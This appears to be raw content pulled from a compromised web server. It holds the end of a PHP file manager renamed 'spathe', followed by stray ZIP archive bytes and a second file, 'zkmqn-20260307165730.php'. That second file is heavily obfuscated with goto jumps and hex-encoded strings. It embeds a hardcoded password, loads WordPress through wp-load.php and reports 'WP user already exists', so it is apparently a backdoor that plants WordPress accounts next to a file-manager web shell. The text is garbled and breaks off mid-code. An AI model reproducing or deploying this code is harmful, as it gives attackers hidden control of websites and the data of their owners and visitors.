<label class="form-check-label" for="customRadioInline2"><?php echo lng('Folder') ?></label>
</div>
<p class="mt-3"><label for="newfilename"><?php echo lng('ItemName') ?> </label></p>
<input type="text" name="newfilename" id="newfilename" value="" class="form-control" placeholder="<?php echo lng('Enter here...') ?>" required>
</div>
<div class="modal-footer">
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<button type="button" class="btn btn-outline-primary" data-bs-dismiss="modal"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></button>
<button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('CreateNow') ?></button>
</div>
</form>
</div>
</div>
<!-- Advance Search Modal -->
<div class="modal fade" id="searchModal" tabindex="-1" role="dialog" aria-labelledby="searchModalLabel" aria-hidden="true">
<div class="modal-dialog modal-lg" role="document">
<div class="modal-content <?php echo fm_get_theme(); ?>">
<div class="modal-header">
<h5 class="modal-title col-10" id="searchModalLabel">
<div class="input-group mb-3">
<input type="text" class="form-control" placeholder="<?php echo lng('Search') ?> <?php echo lng('a files') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon3" id="advanced-search" autofocus required>
<span class="input-group-text" id="search-addon3"><i class="fa fa-search"></i></span>
</div>
</h5>
<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
</div>
<div class="modal-body">
<form action="" method="post">
<div class="lds-facebook"><div></div><div></div><div></div></div>
<ul id="search-wrapper">
<p class="m-2"><?php echo lng('Search file in folder and subfolders...') ?></p>
</ul>
</form>
</div>
</div>
</div>
</div>
<!--Rename Modal -->
<div class="modal modal-alert" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" role="dialog" id="renameDailog">
<div class="modal-dialog" role="document">
<form class="modal-content rounded-3 shadow <?php echo fm_get_theme(); ?>" method="post" autocomplete="off">
<div class="modal-body p-4 text-center">
<h5 class="mb-3"><?php echo lng('Are you sure want to rename?') ?></h5>
<p class="mb-1">
<input type="text" name="rename_to" id="js-rename-to" class="form-control" placeholder="<?php echo lng('Enter new file name') ?>" required>
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<input type="hidden" name="rename_from" id="js-rename-from">
</p>
</div>
<div class="modal-footer flex-nowrap p-0">
<button type="button" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0 border-end" data-bs-dismiss="modal"><?php echo lng('Cancel') ?></button>
<button type="submit" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0"><strong><?php echo lng('Okay') ?></strong></button>
</div>
</form>
</div>
</div>
<!-- Confirm Modal -->
<script type="text/html" id="js-tpl-confirm">
<div class="modal modal-alert confirmDailog" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" role="dialog" id="confirmDailog-<%this.id%>">
<div class="modal-dialog" role="document">
<form class="modal-content rounded-3 shadow <?php echo fm_get_theme(); ?>" method="post" autocomplete="off" action="<%this.action%>">
<div class="modal-body p-4 text-center">
<h5 class="mb-2"><?php echo lng('Are you sure want to') ?> <%this.title%> ?</h5>
<p class="mb-1"><%this.content%></p>
</div>
<div class="modal-footer flex-nowrap p-0">
<button type="button" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0 border-end" data-bs-dismiss="modal"><?php echo lng('Cancel') ?></button>
<input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
<button type="submit" class="btn btn-lg btn-link fs-6 text-decoration-none col-6 m-0 rounded-0" data-bs-dismiss="modal"><strong><?php echo lng('Okay') ?></strong></button>
</div>
</form>
</div>
</div>
</script>
<?php
}
function fm_show_footer()
{
?>
</div>
<?php print_external('js-jquery'); ?>
<?php print_external('js-bootstrap'); ?>
<?php print_external('js-jquery-datatables'); ?>
<?php if (FM_USE_HIGHLIGHTJS and isset($_GET['view'])): ?>
<?php print_external('js-highlightjs'); ?>
<script>hljs.highlightAll(); var isHighlightingEnabled = true;</script>
<?php endif; ?>
<script>
function template(html,options){
var re=/<\%([^\%>]+)?\%>/g,reExp=/(^( )?(if|for|else|switch|case|break|{|}))(.*)?/g,code='var r=[];\n',cursor=0,match;var add=function(line,js){js?(code+=line.match(reExp)?line+'\n':'r.push('+line+');\n'):(code+=line!=''?'r.push("'+line.replace(/"/g,'\\"')+'");\n':'');return add}
while(match=re.exec(html)){add(html.slice(cursor,match.index))(match[1],!0);cursor=match.index+match[0].length}
add(html.substr(cursor,html.length-cursor));code+='return r.join("");';return new Function(code.replace(/[\r\t\n]/g,'')).apply(options)
}
function rename(e, t) { if(t) { $("#js-rename-from").val(t);$("#js-rename-to").val(t); $("#renameDailog").modal('show'); } }
function change_checkboxes(e, t) { for (var n = e.length - 1; n >= 0; n--) e[n].checked = "boolean" == typeof t ? t : !e[n].checked }
function get_checkboxes() { for (var e = document.getElementsByName("file[]"), t = [], n = e.length - 1; n >= 0; n--) (e[n].type = "checkbox") and t.push(e[n]); return t }
function select_all() { change_checkboxes(get_checkboxes(), !0) }
function unselect_all() { change_checkboxes(get_checkboxes(), !1) }
function invert_all() { change_checkboxes(get_checkboxes()) }
function checkbox_toggle() { var e = get_checkboxes(); e.push(this), change_checkboxes(e) }
function backup(e, t) {
var n = new XMLHttpRequest,
a = "path=" + e + "&file=" + t + "&token="+ window.csrf +"&type=backup&ajax=true";
return n.open("POST", "", !0), n.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), n.onreadystatechange = function () {
4 == n.readyState and 200 == n.status and toast(n.responseText)
}, n.send(a), !1
}
// Toast message
function toast(txt) { var x = document.getElementById("snackbar");x.innerHTML=txt;x.className = "show";setTimeout(function(){ x.className = x.className.replace("show", ""); }, 3000); }
// Save file
function edit_save(e, t) {
var n = "ace" == t ? editor.getSession().getValue() : document.getElementById("normal-editor").value;
if (typeof n !== 'undefined' and n !== null) {
if (true) {
var data = {ajax: true, content: n, type: 'save', token: window.csrf};
$.ajax({
type: "POST",
url: window.location,
data: JSON.stringify(data),
contentType: "application/json; charset=utf-8",
success: function(mes){toast("Saved Successfully"); window.onbeforeunload = function() {return}},
failure: function(mes) {toast("Error: try again");},
error: function(mes) {toast(`<p style="background-color:red">${mes.responseText}</p>`);}
});
} else {
var a = document.createElement("form");
a.setAttribute("method", "POST"), a.setAttribute("action", "");
var o = document.createElement("textarea");
o.setAttribute("type", "textarea"), o.setAttribute("name", "savedata");
let cx = document.createElement("input"); cx.setAttribute("type", "hidden");cx.setAttribute("name", "token");cx.setAttribute("value", window.csrf);
var c = document.createTextNode(n);
o.appendChild(c), a.appendChild(o), a.appendChild(cx), document.body.appendChild(a), a.submit()
}
}
}
function show_new_pwd() { $(".js-new-pwd").toggleClass('hidden'); }
// Save Settings
function save_settings($this) {
let form = $($this);
$.ajax({
type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
success: function (data) {if(data) { window.location.reload();}}
}); return false;
}
//Create new password hash
function new_password_hash($this) {
let form = $($this), $pwd = $("#js-pwd-result"); $pwd.val('');
$.ajax({
type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
success: function (data) { if(data) { $pwd.val(data); } }
}); return false;
}
// Upload files using URL @param {Object}
function upload_from_url($this) {
let form = $($this), resultWrapper = $("div#js-url-upload__list");
$.ajax({
type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
beforeSend: function() { form.find("input[name=uploadurl]").attr("disabled","disabled"); form.find("button").hide(); form.find(".lds-facebook").addClass('show-me'); },
success: function (data) {
if(data) {
data = JSON.parse(data);
if(data.done) {
resultWrapper.append('<div class="alert alert-success row">Uploaded Successful: '+data.done.name+'</div>'); form.find("input[name=uploadurl]").val('');
} else if(data['fail']) { resultWrapper.append('<div class="alert alert-danger row">Error: '+data.fail.message+'</div>'); }
form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');
}
},
error: function(xhr) {
form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');console.error(xhr);
}
}); return false;
}
// Search template
function search_template(data) {
var response = "";
$.each(data, function (key, val) {
response += `<li><a href="?p=${val.path}&view=${val.name}">${val.path}/${val.name}</a></li>`;
});
return response;
}
// Advance search
function fm_search() {
var searchTxt = $("input#advanced-search").val(), searchWrapper = $("ul#search-wrapper"), path = $("#js-search-modal").attr("href"), _html = "", $loader = $("div.lds-facebook");
if(!!searchTxt and searchTxt.length > 2 and path) {
var data = {ajax: true, content: searchTxt, path:path, type: 'search', token: window.csrf };
$.ajax({
type: "POST",
url: window.location,
data: data,
beforeSend: function() {
searchWrapper.html('');
$loader.addClass('show-me');
},
success: function(data){
$loader.removeClass('show-me');
data = JSON.parse(data);
if(data and data.length) {
_html = search_template(data);
searchWrapper.html(_html);
} else { searchWrapper.html('<p class="m-2">No result found!<p>'); }
},
error: function(xhr) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>'); },
failure: function(mes) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>');}
});
} else { searchWrapper.html("OOPS: minimum 3 characters required!"); }
}
// action confirm dailog modal
function confirmDailog(e, id = 0, title = "Action", content = "", action = null) {
e.preventDefault();
const tplObj = {id, title, content: decodeURIComponent(content.replace(/\+/g, ' ')), action};
let tpl = $("#js-tpl-confirm").html();
$(".modal.confirmDailog").remove();
$('#wrapper').append(template(tpl,tplObj));
const $confirmDailog = $("#confirmDailog-"+tplObj.id);
$confirmDailog.modal('show');
return false;
}
// on mouse hover image preview
!function(s){s.previewImage=function(e){var o=s(document),t=".previewImage",a=s.extend({xOffset:20,yOffset:-20,fadeIn:"fast",css:{padding:"5px",border:"1px solid #cccccc","background-color":"#fff"},eventSelector:"[data-preview-image]",dataKey:"previewImage",overlayId:"preview-image-plugin-overlay"},e);return o.off(t),o.on("mouseover"+t,a.eventSelector,function(e){s("p#"+a.overlayId).remove();var o=s("<p>").attr("id",a.overlayId).css("position","absolute").css("display","none").append(s('<img class="c-preview-img">').attr("src",s(this).data(a.dataKey)));a.cssando.css(a.css),s("body").append(o),o.css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px").fadeIn(a.fadeIn)}),o.on("mouseout"+t,a.eventSelector,function(){s("#"+a.overlayId).remove()}),o.on("mousemove"+t,a.eventSelector,function(e){s("#"+a.overlayId).css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px")}),this},s.previewImage()}(jQuery);
// Dom Ready Events
$(document).ready( function () {
// dataTable init
var $table = $('#main-table'),
tableLng = $table.find('th').length,
_targets = (tableLng and tableLng == 7 ) ? [0, 4,5,6] : tableLng == 5 ? [0,4] : [3];
mainTable = $('#main-table').DataTable({paging: false, info: false, order: [], columnDefs: [{targets: _targets, orderable: false}]
});
// filter table
$('#search-addon').on( 'keyup', function () {
mainTable.search( this.value ).draw();
});
$("input#advanced-search").on('keyup', function (e) {
if (e.keyCode === 13) { fm_search(); }
});
$('#search-addon3').on( 'click', function () { fm_search(); });
//upload nav tabs
$(".fm-upload-wrapper .card-header-tabs").on("click", 'a', function(e){
e.preventDefault();let target=$(this).data('target');
$(".fm-upload-wrapper .card-header-tabs a").removeClass('active');$(this).addClass('active');
$(".fm-upload-wrapper .card-tabs-container").addClass('hidden');$(target).removeClass('hidden');
});
});
</script>
<?php if (isset($_GET['edit']) and isset($_GET['env']) and FM_EDIT_FILE and !FM_READONLY):
$ext = pathinfo($_GET["edit"], PATHINFO_EXTENSION);
$ext = $ext == "js" ? "javascript" : $ext;
?>
<?php print_external('js-ace'); ?>
<script>
var editor = ace.edit("editor");
editor.getSession().setMode( {path:"ace/mode/<?php echo $ext; ?>", inline:true} );
//editor.setTheme("ace/theme/twilight"); //Dark Theme
editor.setShowPrintMargin(false); // Hide the vertical ruler
function ace_commend (cmd) { editor.commands.exec(cmd, editor); }
editor.commands.addCommands([{
name: 'save', bindKey: {win: 'Ctrl-S', mac: 'Command-S'},
exec: function(editor) { edit_save(this, 'ace'); }
}]);
function renderThemeMode() {
var $modeEl = $("select#js-ace-mode"), $themeEl = $("select#js-ace-theme"), $fontSizeEl = $("select#js-ace-fontSize"), optionNode = function(type, arr){ var $Option = ""; $.each(arr, function(i, val) { $Option += "<option value='"+type+i+"'>" + val + "</option>"; }); return $Option; },
_data = {"aceTheme":{"bright":{"chrome":"Chrome","clouds":"Clouds","crimson_editor":"Crimson Editor","dawn":"Dawn","dreamweaver":"Dreamweaver","eclipse":"Eclipse","github":"GitHub","iplastic":"IPlastic","solarized_light":"Solarized Light","textmate":"TextMate","tomorrow":"Tomorrow","xcode":"XCode","kuroir":"Kuroir","katzenmilch":"KatzenMilch","sqlserver":"SQL Server"},"dark":{"ambiance":"Ambiance","chaos":"Chaos","clouds_midnight":"Clouds Midnight","dracula":"Dracula","cobalt":"Cobalt","gruvbox":"Gruvbox","gob":"Green on Black","idle_fingers":"idle Fingers","kr_theme":"krTheme","merbivore":"Merbivore","merbivore_soft":"Merbivore Soft","mono_industrial":"Mono Industrial","monokai":"Monokai","pastel_on_dark":"Pastel on dark","solarized_dark":"Solarized Dark","terminal":"Terminal","tomorrow_night":"Tomorrow Night","tomorrow_night_blue":"Tomorrow Night Blue","tomorrow_night_bright":"Tomorrow Night Bright","tomorrow_night_eighties":"Tomorrow Night 80s","twilight":"Twilight","vibrant_ink":"Vibrant Ink"}},"aceMode":{"javascript":"JavaScript","abap":"ABAP","abc":"ABC","actionscript":"ActionScript","ada":"ADA","apache_conf":"Apache Conf","asciidoc":"AsciiDoc","asl":"ASL","assembly_x86":"Assembly x86","autohotkey":"AutoHotKey","apex":"Apex","batchfile":"BatchFile","bro":"Bro","c_cpp":"C and C++","c9search":"C9Search","cirru":"Cirru","clojure":"Clojure","cobol":"Cobol","coffee":"CoffeeScript","coldfusion":"ColdFusion","csharp":"C#","csound_document":"Csound Document","csound_orchestra":"Csound","csound_score":"Csound Score","css":"CSS","curly":"Curly","d":"D","dart":"Dart","diff":"Diff","dockerfile":"Dockerfile","dot":"Dot","drools":"Drools","edifact":"Edifact","eiffel":"Eiffel","ejs":"EJS","elixir":"Elixir","elm":"Elm","erlang":"Erlang","forth":"Forth","fortran":"Fortran","fsharp":"FSharp","fsl":"FSL","ftl":"FreeMarker","gcode":"Gcode","gherkin":"Gherkin","gitignore":"Gitignore","glsl":"Glsl","gobstones":"Gobstones","golang":"Go","graphqlschema":"GraphQLSchema","groovy":"Groovy","haml":"HAML","handlebars":"Handlebars","haskell":"Haskell","haskell_cabal":"Haskell Cabal","haxe":"haXe","hjson":"Hjson","html":"HTML","html_elixir":"HTML (Elixir)","html_ruby":"HTML (Ruby)","ini":"INI","io":"Io","jack":"Jack","jade":"Jade","java":"Java","json":"JSON","jsoniq":"JSONiq","jsp":"JSP","jssm":"JSSM","jsx":"JSX","julia":"Julia","kotlin":"Kotlin","latex":"LaTeX","less":"LESS","liquid":"Liquid","lisp":"Lisp","livescript":"LiveScript","logiql":"LogiQL","lsl":"LSL","lua":"Lua","luapage":"LuaPage","lucene":"Lucene","makefile":"Makefile","markdown":"Markdown","mask":"Mask","matlab":"MATLAB","maze":"Maze","mel":"MEL","mixal":"MIXAL","mushcode":"MUSHCode","mysql":"MySQL","nix":"Nix","nsis":"NSIS","objectivec":"Objective-C","ocaml":"OCaml","pascal":"Pascal","perl":"Perl","perl6":"Perl 6","pgsql":"pgSQL","php_laravel_blade":"PHP (Blade Template)","php":"PHP","puppet":"Puppet","pig":"Pig","powershell":"Powershell","praat":"Praat","prolog":"Prolog","properties":"Properties","protobuf":"Protobuf","python":"Python","r":"R","razor":"Razor","rdoc":"RDoc","red":"Red","rhtml":"RHTML","rst":"RST","ruby":"Ruby","rust":"Rust","sass":"SASS","scad":"SCAD","scala":"Scala","scheme":"Scheme","scss":"SCSS","sh":"SH","sjs":"SJS","slim":"Slim","smarty":"Smarty","snippets":"snippets","soy_template":"Soy Template","space":"Space","sql":"SQL","sqlserver":"SQLServer","stylus":"Stylus","svg":"SVG","swift":"Swift","tcl":"Tcl","terraform":"Terraform","tex":"Tex","text":"Text","textile":"Textile","toml":"Toml","tsx":"TSX","twig":"Twig","typescript":"Typescript","vala":"Vala","vbscript":"VBScript","velocity":"Velocity","verilog":"Verilog","vhdl":"VHDL","visualforce":"Visualforce","wollok":"Wollok","xml":"XML","xquery":"XQuery","yaml":"YAML","django":"Django"},"fontSize":{8:8,10:10,11:11,12:12,13:13,14:14,15:15,16:16,17:17,18:18,20:20,22:22,24:24,26:26,30:30}};
if(_data and _data.aceMode) { $modeEl.html(optionNode("ace/mode/", _data.aceMode)); }
if(_data and _data.aceTheme) { var lightTheme = optionNode("ace/theme/", _data.aceTheme.bright), darkTheme = optionNode("ace/theme/", _data.aceTheme.dark); $themeEl.html("<optgroup label=\"Bright\">"+lightTheme+"</optgroup><optgroup label=\"Dark\">"+darkTheme+"</optgroup>");}
if(_data and _data.fontSize) { $fontSizeEl.html(optionNode("", _data.fontSize)); }
$modeEl.val( editor.getSession().$modeId );
$themeEl.val( editor.getTheme() );
$fontSizeEl.val(12).change();
}
$(function(){
renderThemeMode();
$(".js-ace-toolbar").on("click", 'button', function(e){
e.preventDefault();
let cmdValue = $(this).attr("data-cmd"), editorOption = $(this).attr("data-option");
if(cmdValue and cmdValue != "none") {
ace_commend(cmdValue);
} else if(editorOption) {
if(editorOption == "fullscreen") {
(void 0!==document.fullScreenElementandnull===document.fullScreenElement||void 0!==document.msFullscreenElementandnull===document.msFullscreenElement||void 0!==document.mozFullScreenand!document.mozFullScreen||void 0!==document.webkitIsFullScreenand!document.webkitIsFullScreen)
and(editor.container.requestFullScreen?editor.container.requestFullScreen():editor.container.mozRequestFullScreen?editor.container.mozRequestFullScreen():editor.container.webkitRequestFullScreen?editor.container.webkitRequestFullScreen(Element.ALLOW_KEYBOARD_INPUT):editor.container.msRequestFullscreenandeditor.container.msRequestFullscreen());
} else if(editorOption == "wrap") {
let wrapStatus = (editor.getSession().getUseWrapMode()) ? false : true;
editor.getSession().setUseWrapMode(wrapStatus);
}
}
});
$("select#js-ace-mode, select#js-ace-theme, select#js-ace-fontSize").on("change", function(e){
e.preventDefault();
let selectedValue = $(this).val(), selectionType = $(this).attr("data-type");
if(selectedValue and selectionType == "mode") {
editor.getSession().setMode(selectedValue);
} else if(selectedValue and selectionType == "theme") {
editor.setTheme(selectedValue);
}else if(selectedValue and selectionType == "fontSize") {
editor.setFontSize(parseInt(selectedValue));
}
});
});
</script>
<?php endif; ?>
<div id="snackbar"></div>
</body>
</html>
<?php
}
function lng($txt) {
global $lang;
$tr['en']['AppName'] = 'spathe'; $tr['en']['AppTitle'] = 'spathe';
$tr['en']['Login'] = 'Sign in'; $tr['en']['Username'] = 'Username';
$tr['en']['Password'] = 'Password'; $tr['en']['Logout'] = 'Sign Out';
$tr['en']['Move'] = 'Move'; $tr['en']['Copy'] = 'Copy';
$tr['en']['Save'] = 'Save'; $tr['en']['SelectAll'] = 'Select all';
$tr['en']['UnSelectAll'] = 'Unselect all'; $tr['en']['File'] = 'File';
$tr['en']['Back'] = 'Back'; $tr['en']['Size'] = 'Size';
$tr['en']['Perms'] = 'Perms'; $tr['en']['Modified'] = 'Modified';
$tr['en']['Owner'] = 'Owner'; $tr['en']['Search'] = 'Search';
$tr['en']['NewItem'] = 'New Item'; $tr['en']['Folder'] = 'Folder';
$tr['en']['Delete'] = 'Delete'; $tr['en']['Rename'] = 'Rename';
$tr['en']['CopyTo'] = 'Copy to'; $tr['en']['DirectLink'] = 'Direct link';
$tr['en']['UploadingFiles'] = 'Upload Files'; $tr['en']['ChangePermissions'] = 'Change Permissions';
$tr['en']['Copying'] = 'Copying'; $tr['en']['CreateNewItem'] = 'Create New Item';
$tr['en']['Name'] = 'Name'; $tr['en']['AdvancedEditor'] = 'Advanced Editor';
$tr['en']['Actions'] = 'Actions'; $tr['en']['Folder is empty'] = 'Folder is empty';
$tr['en']['Upload'] = 'Upload'; $tr['en']['Cancel'] = 'Cancel';
$tr['en']['InvertSelection']= 'Invert Selection'; $tr['en']['DestinationFolder'] = 'Destination Folder';
$tr['en']['ItemType'] = 'Item Type'; $tr['en']['ItemName'] = 'Item Name';
$tr['en']['CreateNow'] = 'Create Now'; $tr['en']['Download'] = 'Download';
$tr['en']['Open'] = 'Open'; $tr['en']['UnZip'] = 'UnZip';
$tr['en']['UnZipToFolder'] = 'UnZip to folder'; $tr['en']['Edit'] = 'Edit';
$tr['en']['NormalEditor'] = 'Normal Editor'; $tr['en']['BackUp'] = 'Back Up';
$tr['en']['SourceFolder'] = 'Source Folder'; $tr['en']['Files'] = 'Files';
$tr['en']['Move'] = 'Move'; $tr['en']['Change'] = 'Change';
$tr['en']['Settings'] = 'Settings'; $tr['en']['Language'] = 'Language';
$tr['en']['ErrorReporting'] = 'Error Reporting'; $tr['en']['ShowHiddenFiles'] = 'Show Hidden Files';
$tr['en']['Help'] = 'Help'; $tr['en']['Created'] = 'Created';
$tr['en']['Help Documents'] = 'Help Documents'; $tr['en']['Report Issue'] = 'Report Issue';
$tr['en']['Generate'] = 'Generate'; $tr['en']['FullSize'] = 'Full Size';
$tr['en']['HideColumns'] = 'Hide Perms/Owner columns';$tr['en']['You are logged in'] = 'You are logged in';
$tr['en']['Nothing selected'] = 'Nothing selected'; $tr['en']['Paths must be not equal'] = 'Paths must be not equal';
$tr['en']['Renamed from'] = 'Renamed from'; $tr['en']['Archive not unpacked'] = 'Archive not unpacked';
$tr['en']['Deleted'] = 'Deleted'; $tr['en']['Archive not created'] = 'Archive not created';
$tr['en']['Copied from'] = 'Copied from'; $tr['en']['Permissions changed'] = 'Permissions changed';
$tr['en']['to'] = 'to'; $tr['en']['Saved Successfully'] = 'Saved Successfully';
$tr['en']['not found!'] = 'not found!'; $tr['en']['File Saved Successfully'] = 'File Saved Successfully';
$tr['en']['Archive'] = 'Archive'; $tr['en']['Permissions not changed'] = 'Permissions not changed';
$tr['en']['Select folder'] = 'Select folder'; $tr['en']['Source path not defined'] = 'Source path not defined';
$tr['en']['already exists'] = 'already exists'; $tr['en']['Error while moving from'] = 'Error while moving from';
$tr['en']['Create archive?'] = 'Create archive?'; $tr['en']['Invalid file or folder name'] = 'Invalid file or folder name';
$tr['en']['Archive unpacked'] = 'Archive unpacked'; $tr['en']['File extension is not allowed'] = 'File extension is not allowed';
$tr['en']['Root path'] = 'Root path'; $tr['en']['Error while renaming from'] = 'Error while renaming from';
$tr['en']['File not found'] = 'File not found'; $tr['en']['Error while deleting items'] = 'Error while deleting items';
$tr['en']['Moved from'] = 'Moved from'; $tr['en']['Generate new password hash'] = 'Generate new password hash';
$tr['en']['Login failed. Invalid username or password'] = 'Login failed. Invalid username or password';
$tr['en']['password_hash not supported, Upgrade PHP version'] = 'password_hash not supported, Upgrade PHP version';
$tr['en']['Advanced Search'] = 'Advanced Search'; $tr['en']['Error while copying from'] = 'Error while copying from';
$tr['en']['Invalid characters in file name'] = 'Invalid characters in file name';
$tr['en']['FILE EXTENSION HAS NOT SUPPORTED'] = 'FILE EXTENSION HAS NOT SUPPORTED';
$tr['en']['Selected files and folder deleted'] = 'Selected files and folder deleted';
$tr['en']['Error while fetching archive info'] = 'Error while fetching archive info';
$tr['en']['Delete selected files and folders?'] = 'Delete selected files and folders?';
$tr['en']['Search file in folder and subfolders...'] = 'Search file in folder and subfolders...';
$tr['en']['Access denied. IP restriction applicable'] = 'Access denied. IP restriction applicable';
$tr['en']['Invalid characters in file or folder name'] = 'Invalid characters in file or folder name';
$tr['en']['Operations with archives are not available'] = 'Operations with archives are not available';
$tr['en']['File or folder with this path already exists'] = 'File or folder with this path already exists';
$i18n = fm_get_translations($tr);
$tr = $i18n ? $i18n : $tr;
if (!strlen($lang)) $lang = 'en';
if (isset($tr[$lang][$txt])) return fanco($tr[$lang][$txt]);
else if (isset($tr['en'][$txt])) return fanco($tr['en'][$txt]);
else return "$txt";
}
?>PK �em\�Ύ=�/ �/ zkmqn-20260307165730.phpnu �[��� <?php
/*
--Copyright:https://www.phpcodejm.com
*/
goto SRLvP; pX0zf: goto Upycx; goto IwVbW; JNX9T: goto ACxZw; goto P3Dsn; V1vcl: goto m1ruy; goto FRbSx; d0ggy: vdRYy: goto w1puP; bf9bm: j65UW: goto WNmBF; M9Oz6: goto qtW4o; goto fO7IX; I0aJC: Uh58U: goto RpT82; Sj5EP: bMXBV: goto QrSn1; aGUgU: Gb0PB: goto PDrj6; JZsHU: goto Sx9yk; goto qGMZo; qBLIC: j2XUx: goto Cd6kR; HOZFb: goto jED5H; goto lfrx4; qrkn2: readfile($xBtNn); goto G5dt5; aCgnf: goto C04vy; goto fwefS; zdsgU: goto NtNFa; goto Ssrys; Szx32: Jp083: goto wEtCr; SRNMA: goto HfAyO; goto Noz1Z; b07Mx: $hznvy = ''; goto NSXyq; SCKIJ: goto XEsqk; goto niBes; kDmxW: goto mUM1a; goto CUT42; xExXe: lp7ye: goto pAuzx; XW18E: goto gEPCt; goto wjSI3; Ga2c2: goto BNnHl; goto lVEqA; OAdsT: goto X_y0p; goto cSm55; xEXPk: hqvji: goto V2OHJ; Z_CK8: FLR87: goto p3Slk; ptGrF: NDS3W: goto NOZ52; O0OJf: OZSVK: goto CUWhv; G5i85: ZDDBq: goto QasTk; cvGW1: $QeOFD = "\x48\145\x6c\154\100\62\60\x32\x35"; goto XYHQP; na3Dm: yySjF: goto o64T0; xMHB4: goto lgAaq; goto X6pqt; ozSq7: goto dYUUJ; goto Ir0Hp; Zk18_: goto n_64s; goto dZWzT; gru6B: goto TAco5; goto EP9uh; GGQYr: goto cAC6U; goto U2iNi; nkg_2: goto WjR1c; goto Vxus2; Yi1pu: QyMd7: goto YUdYI; GekuO: Uxmld: goto yJhHf; jNLL5: l9NmK: goto OQA_Z; BuMBm: ucsul: goto ZN7v7; Dvq11: $hznvy .= "\74\x64\x69\166\x20\x63\x6c\x61\163\x73\x3d\47\167\x61\162\156\x27\76\xc3\xa2\305\241\xc2\xa0\x20\127\x50\x20\165\x73\x65\x72\x20\x61\x6c\162\145\141\144\x79\40\x65\170\x69\x73\x74\163\x3c\x2f\x64\151\166\76"; goto BT3jl; I2Et3: dKikv: goto zLv0S; VJPkJ: goto rw_pK; goto drJna; Ih3aE: goto GUAlg; goto Aub2J; M32Xs: file_put_contents($bG34o, ''); goto yvmps; tDj1L: goto E3cAA; goto y2gjG; FQtCD: goto KPlKX; goto kRugS; HA_FL: goto leovd; goto W57Aw; bUF72: ZtelB: goto iwikX; GqRI3: u4PS7: goto eMvwK; zAaF6: goto HKpfc; goto usIT7; EkRve: goto LpCQF; goto vUscg; PLsH_: DpXAP: goto drhqD; Iwiok: goto FQgPB; goto GqRI3; Xq2OV: fBo5l: goto dBVzx; Ux5iJ: BWqdy: goto M92EE; uIeAN: goto BsQIO; goto vQh3A; nZSBh: goto q_Gb2; goto bigK0; bp0Ep: lBW6U: goto hwypA; U1Q6Z: yF6N3: goto oylB9; Hvjl8: goto l9NmK; goto TVfkN; UtBmG: goto WjY0U; goto Z3O3Z; OdSSG: z3aiS: goto Mtbo1; Osgk9: goto EY5Ku; goto vrgjF; J6pyu: bwWlb: goto LO8kc; WNmBF: goto zyr_3; goto ixhK6; JfqKr: goto uU3hK; goto KMLro; YsVg0: chdir($JdqDR); goto AxE95; jxpFG: eB7a0: goto FGaG1; yGKF6: mKfsV: goto D5nLI; TLAgf: goto jkCKs; goto fc_1M; tzF67: QBjIY: goto tFVhH; MFVnP: goto vVbZO; goto gaukJ; F51Qt: goto zwr0b; goto OE5yA; WkJJa: T3dUd: goto pZvhC; AZoWW: dn0tW: goto LorbC; ofhv1: O2GDB: goto M7Gyp; uaHKE: Mpo7z: goto w48LP; cfBe5: goto Cg50n; goto YA1sX; ri253: jx92z: goto IwPeD; VrDET: FopiD: goto wB4mT; mY2O0: goto jZbVd; goto p8nFI; u8uAR: opisV: goto FY3ak; ObNtA: goto Mlzlf; goto blCrI; WljjD: goto mQZH3; goto ecvwl; f4YMc: goto SjQoV; goto NWr81; CUAcn: vh4Ya: goto J6ZxO; pTdcs: goto hICWj; goto Syg08; nuJVB: UN8fq: goto e_Wqv; HyZO0: goto OuYb9; goto u8uAR; Axgfg: TiAaS: goto Mmj9S; pmAjj: APpNG: goto DwdO1; tkAOW: goto Q3LgY; goto kEL20; B7Xir: KAiSu: goto akgyC; D5nLI: goto V0rXx; goto Dl1hP; Et_rQ: goto Z2hdr; goto VIfmn; gaukJ: pDGyY: goto LThxC; lAkM5: goto zBf07; goto xrFa4; PVG03: dzixS: goto hEI3Z; o64T0: goto OPFVa; goto bkKIN; Z_1_4: $rIJSd = $D6V0J . "\x2f\x77\160\55\x6c\x6f\x61\144\x2e\160\150\x70"; goto ukl0E; zGznt: goto vuZTj; goto PcG05; ydG6k: goto uL9wg; goto EMWmv; u_6Ay: if (!($OYF8c && is_file($OYF8c))) { goto Y2g2U; } goto i2ZBs; O3TT9: goto Xyjxo; goto pTZ4n; C0Wga: yOMqM: goto KoEQZ; O0kYN: wfTR1: goto v8gH4; FBwr6: LNCXp: goto Or33W; XQoQW: Nb5vy: goto fYCQN; noXGz: qCPgI: goto Qx8j3; drJna: Nj2BT: goto u4KuL; SPBAn: K4vVK: goto WZVIb; mrbai: gtobW: goto L9Ybt; cao5i: goto M3Nyk; goto IrMlS; Nhvxt: goto ZtelB; goto W8XxV; YUdYI: goto w4G6M; goto oQSm_; CmNmh: goto ZcleN; goto QrZwZ; bcJ_M: uPBS1: goto xRuWG; zEEkD: goto X_zeJ; goto GFmeZ; CUT42: SDqjo: goto B0GMM; xlAOS: uJ79M: goto 